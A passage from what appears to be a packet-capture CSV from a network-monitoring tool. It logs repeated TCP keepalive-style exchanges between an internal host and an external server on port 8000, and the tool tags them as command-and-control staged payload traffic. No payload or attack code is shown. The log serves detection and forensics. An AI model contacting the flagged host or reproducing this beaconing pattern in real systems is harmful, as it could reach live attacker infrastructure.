1283636996))]\"\"}}]\"\n2026-07-01 09:12:32.775147,914,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283636995 Ack=578738452,bc24112907bbbc2411360d0c080045000029b15d400080063ea10a98980bc0a3a789fa6a1f404c82bf03227ed91450102014642b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45405, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16033, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283636995, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25643, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:32.775168,915,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283636996,bc2411360d0cbc24112907bb08004500003439c840004006f62bc0a3a7890a98980b1f40fa6a227ed9144c82bf048010003f0af700000101050a4c82bf034c82bf04,\".$.6\n..$.)....E..49.@.@..+....\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14792, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63019, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283636996, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283636995, 1283636996))]\"\"}}]\"\n2026-07-01 09:12:33.790833,916,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283636995 Ack=578738452,bc24112907bbbc2411360d0c080045000029b15e400080063ea00a98980bc0a3a789fa6a1f404c82bf03227ed91450102014642b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45406, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16032, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283636995, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25643, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:33.790842,917,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283636996,bc2411360d0cbc24112907bb08004500003439c940004006f62ac0a3a7890a98980b1f40fa6a227ed9144c82bf048010003f0af700000101050a4c82bf034c82bf04,\".$.6\n..$.)....E..49.@.@..*....\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14793, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63018, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283636996, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283636995, 1283636996))]\"\"}}]\"\n2026-07-01 09:12:34.806453,918,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283636995 Ack=578738452,bc24112907bbbc2411360d0c080045000029b15f400080063e9f0a98980bc0a3a789fa6a1f404c82bf03227ed91450102014642b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45407, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16031, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283636995, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25643, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:34.806479,919,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283636996,bc2411360d0cbc24112907bb08004500003439ca40004006f629c0a3a7890a98980b1f40fa6a227ed9144c82bf048010003f0af700000101050a4c82bf034c82bf04,\".$.6\n..$.)....E..49.@.@..)....\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14794, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63017, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283636996, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283636995, 1283636996))]\"\"}}]\"\n2026-07-01 09:12:35.806489,920,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283636995 Ack=578738452,bc24112907bbbc2411360d0c080045000029b160400080063e9e0a98980bc0a3a789fa6a1f404c82bf03227ed91450102014642b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45408, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16030, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283636995, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25643, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:35.806510,921,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283636996,bc2411360d0cbc24112907bb08004500003439cb40004006f628c0a3a7890a98980b1f40fa6a227ed9144c82bf048010003f0af700000101050a4c82bf034c82bf04,\".$.6\n..$.)....E..49.@.@..(....\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14795, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63016, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283636996, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283636995, 1283636996))]\"\"}}]\"\n2026-07-01 09:12:36.822122,922,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283636995 Ack=578738452,bc24112907bbbc2411360d0c080045000029b161400080063e9d0a98980bc0a3a789fa6a1f404c82bf03227ed91450102014642b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45409, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16029, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283636995, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25643, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:36.822157,923,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283636996,bc2411360d0cbc24112907bb08004500003439cc40004006f627c0a3a7890a98980b1f40fa6a227ed9144c82bf048010003f0af700000101050a4c82bf034c82bf04,\".$.6\n..$.)....E..49.@.@..'....\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14796, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63015, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283636996, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283636995, 1283636996))]\"\"}}]\"\n2026-07-01 09:12:37.837763,924,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283636995 Ack=578738452,bc24112907bbbc2411360d0c080045000029b162400080063e9c0a98980bc0a3a789fa6a1f404c82bf03227ed91450102014642b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45410, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16028, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283636995, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25643, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:37.837796,925,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283636996,bc2411360d0cbc24112907bb08004500003439cd40004006f626c0a3a7890a98980b1f40fa6a227ed9144c82bf048010003f0af700000101050a4c82bf034c82bf04,\".$.6\n..$.)....E..49.@.@..&....\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14797, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63014, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283636996, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283636995, 1283636996))]\"\"}}]\"\n2026-07-01 09:12:38.837831,926,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283636995 Ack=578738452,bc24112907bbbc2411360d0c080045000029b163400080063e9b0a98980bc0a3a789fa6a1f404c82bf03227ed91450102014642b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45411, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16027, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283636995, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25643, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:38.837864,927,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283636996,bc2411360d0cbc24112907bb08004500003439ce40004006f625c0a3a7890a98980b1f40fa6a227ed9144c82bf048010003f0af700000101050a4c82bf034c82bf04,\".$.6\n..$.)....E..49.@.@..%....\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14798, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63013, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283636996, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283636995, 1283636996))]\"\"}}]\"\n2026-07-01 09:12:39.854753,928,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283636995 Ack=578738452,bc24112907bbbc2411360d0c080045000029b164400080063e9a0a98980bc0a3a789fa6a1f404c82bf03227ed91450102014642b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45412, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16026, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283636995, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25643, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:39.854798,929,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283636996,bc2411360d0cbc24112907bb08004500003439cf40004006f624c0a3a7890a98980b1f40fa6a227ed9144c82bf048010003f0af700000101050a4c82bf034c82bf04,\".$.6\n..$.)....E..49.@.@..$....\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14799, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63012, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283636996, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283636995, 1283636996))]\"\"}}]\"\n2026-07-01 09:12:40.857527,930,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283636995 Ack=578738452,bc24112907bbbc2411360d0c080045000029b165400080063e990a98980bc0a3a789fa6a1f404c82bf03227ed91450102014642b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45413, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16025, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283636995, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25643, \"\"urgptr\"\": 0, \"\"options\"\": 